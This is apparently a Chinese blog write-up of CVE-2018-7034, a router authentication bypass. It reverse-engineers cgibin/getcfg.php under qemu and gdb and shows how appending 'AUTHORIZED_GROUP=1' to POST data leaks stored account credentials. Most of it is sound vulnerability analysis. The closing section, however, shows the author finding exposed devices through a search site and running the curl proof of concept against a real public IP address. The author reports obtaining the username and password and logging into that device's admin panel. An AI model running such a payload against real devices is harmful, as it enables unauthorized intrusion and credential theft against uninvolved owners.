该漏洞的起因是身份验证是否成功的标识(AUTHORIZED_GROUP
)会被添加到 POST
报文数据的后面,而攻击者可以通过将AUTHORIZED_GROUP=1
作为 POST
报文数据的一部分来发送,当读取报文的时候只有报文中的第一个 =
被识别到继而将后面的AUTHORIZED_GROUP=1
一起读入并写入来绕过身份验证,造成登录信息的泄露。
漏洞描述
根据 [CVE-2018-7034](CVE - CVE-2018-7034漏洞) 上对该漏洞的披露可知,由getcfg.php
中的请求所示,攻击者可以通过AUTHORIZED_GROUP=1
值来绕过身份验证。
漏洞前提分析
so,我们先来分析一下getcfg.php
文件:
//$_POST["CACHE"]=false |
分析后可知,该文件最终要执行的操作是,加载/htdocs/webinc/getcfg/
目录下以.xml.php
结尾的文件,当然前提是要绕过一系列条件。经查找后发现目录下的DEVICE.ACCOUNT.xml.php
文件中有用户密码等敏感信息,可以被我们泄露。

程序启动
直接运行/htdocs/cgibin
文件会输出如下内容:

看一下cgibin
文件中的main
函数,发现其要求第一个命令行参数是给定的参数这里就是phpcgi
,搜索一下发现在/usr/sbin/
目录下有一个符号链接phpcgi
指向/htdocs/cgibin
,不过这个符号链接被损坏了要删除这个再创建一个,如下是新建的符号链接。
然后执行qemu-mipsel ./phpcgi
命令便能运行cgibin
程序了。
寻找漏洞原因
现在需要对二进制文件cgibin
进行逆向分析,主要分析的是main
函数下的phpcgi_main
函数。
phpcgi_main函数分析

sobj_new()
函数如下:
//v7 = sobj_new(); |
结合分析可知,0x414264
地址处中$v0
寄存器中存放的便是malloc
函数申请的地址块,也就是v7中的内容,是0x438008

接下来会执行sobj_add_string(v7, *(_DWORD *)(a2 + 4));
函数,这里a2
是传入的命令行参数,我们猜测这里是将命令行参数添加到v7
的地址块中,如下,
sobj_add_string()
执行前

执行后,确实把第一个命令行参数aaaa
添加进去了

接着执行sobj_add_char()
,这一步会在aaaa
后面再加一个\n

接下来是一个for
循环:
for ( i = a3; *i; ++i ) // a3是环境变量,这个循环应该是将环境变量分别也添加到上面的地址块中 |
其作用是解析envp
,并将解析后的环境变量都添加到地址块中,也就是第二个命令行参数aaaa
的后面。
cgibin_parse_request函数分析
接着看cgibin_parse_request
函数,调试这个函数的时候发现CONTENT_TYPE
和CONTENT_LENGTH
这两个环境变量需要存在,接着执行parse_uri
函数,该函数会将环境变量REQUEST_URI
中?
后面的内容添加到结构体中,故REQUEST_URI
这个环境变量也需要存在。

然后是一个strncasecmp
比较,会比较v9
与v14
前12个字符是否相等,如果相等会执行一个函数,这里我光看ida中的代码还不知道是什么函数。

v10
是.data
段off_433014
处的内容application/
如下,而v14
是环境变量CONTENT_TYPE
的值,因此我们启动时的环境变量CONTENT_TYPE
需要设置为application/x-www-form-urlencoded
。

在gdb调试的时候,可以知道执行的函数地址是0x40445c
,其实看其他师傅文章中ida能够反汇编出这个函数即sub_40445C
,但是我只能看到该函数的汇编代码😓

此时的启动脚本:
qemu-mipsel -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH=3000 -E REQUEST_URI="M?31" -g 1234 ./phpcgi aaaa |
sub_40445c函数分析
在该函数中,会先后执行一个select
和read
函数,我们在执行select
函数前先把POST
报文写到标准输入流中,如下:

执行select
后便能read
读入POST
报文数据,如下:

注意启动时设置的CONTENT_LENGTH
要跟写入的POST
报文数据长度一样,否则读完我们输入的内容后会再次select
和read
,此时标准输入流中已经没有数据了,便会像前面一样报错。
此时的启动脚本:
qemu-mipsel -E REQUEST_METHOD="POST" -E CONTENT_TYPE="application/x-www-form-urlencoded" -E CONTENT_LENGTH="44" -E REQUEST_URI="M?31" -g 1234 ./phpcgi aaaa |
接着会执行sub_403864
函数(其实可以直接在IDA中分析代码得出,不过我的IDA并没有把sub_40445c
函数反汇编)

sub_403864函数分析
sub_403864
函数的三个参数如下,正常会顺利进入下面两个if
语句,然后进入循环,

这个循环会遍历POST
报文数据,并以报文的第一个=
为界限,将前后两段数据(也就是a1[1]
和a1[2]
)分别放到两个结构体中,如下:


最后这里要注意的是,调试的时候发现在第32行这个位置会再一次调用sub_403864
函数,如下:

在第二次执行sub_403864
函数的时候才会执行sobj_unescape_uri
函数,对POST
报文数据进行url
解码,接着执行后面的写入操作。

sub_405AC0函数分析
gdb调试的时候继续往下走,会走到0x405b00
地址,在sub_405AC0
函数中,在如下这个位置:

接下来会先向a1
(最开始存放环境变量的结构体)中添加字符串_POST_
,然后再将a2[1]
(POST
报文数据中=
前面的内容)添加进去,接着还会添加=
和POST
报文数据中=
后面的内容。其实就是将POST
报文数据全部添加进去了,如下:
其实分析到现在,我们知道了发送的POST
报文数据会被存储到哪个地方,正常情况下POST
报文数据中只需要有SERVICES=DEVICE.ACCOUNT
即可,但是为什么还要在后面加上%0aAUTHORIZED_GROUP=1
,并且这样就可以绕过身份验证呢?我们还不知道,继续往下分析。
phpcgi_main函数分析
接着程序流回到phpcgi_main
函数上,会进入if
执行sess_validate()
函数,其中会打开一个文件如下:

这个文件我们用户模拟的环境上是没有的,所以需要自己去创建一下即可。
接下来的部分就比较重要了前面我一直迷迷糊糊的,在这里幡然醒悟一切都解释的通了。
如下,执行完sobj_add_char(v6, 10);
后AUTHORIZED_GROUP=-1
会被添加到v6
(前面分析的存放POST
报文数据的结构体)中,也就是说正常情况下,会读入POST
报文数据写到v6
中,然后执行sess_validate()
函数进行一个身份验证,当然验证肯定是不通过的,因此会返回-1
与AUTHORIZED_GROUP=
拼接,再将得到的AUTHORIZED_GROUP=-1
添加到v6
中具体位置就是POST
报文的后面。

因此,直接将AUTHORIZED_GROUP=1
放在原来的POST
报文数据的后面,这样便能绕过身份验证伪造sess_validate()
返回1
,所以最后的POST
报文数据是这样的:
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 |
攻击演示
在这个网站上查找还在用此路由器设备的站点

随便选一个,执行如下poc
进行攻击
curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://174.104.16.176:8080/getcfg.php" |
获得用户名和密码

成功登录后台
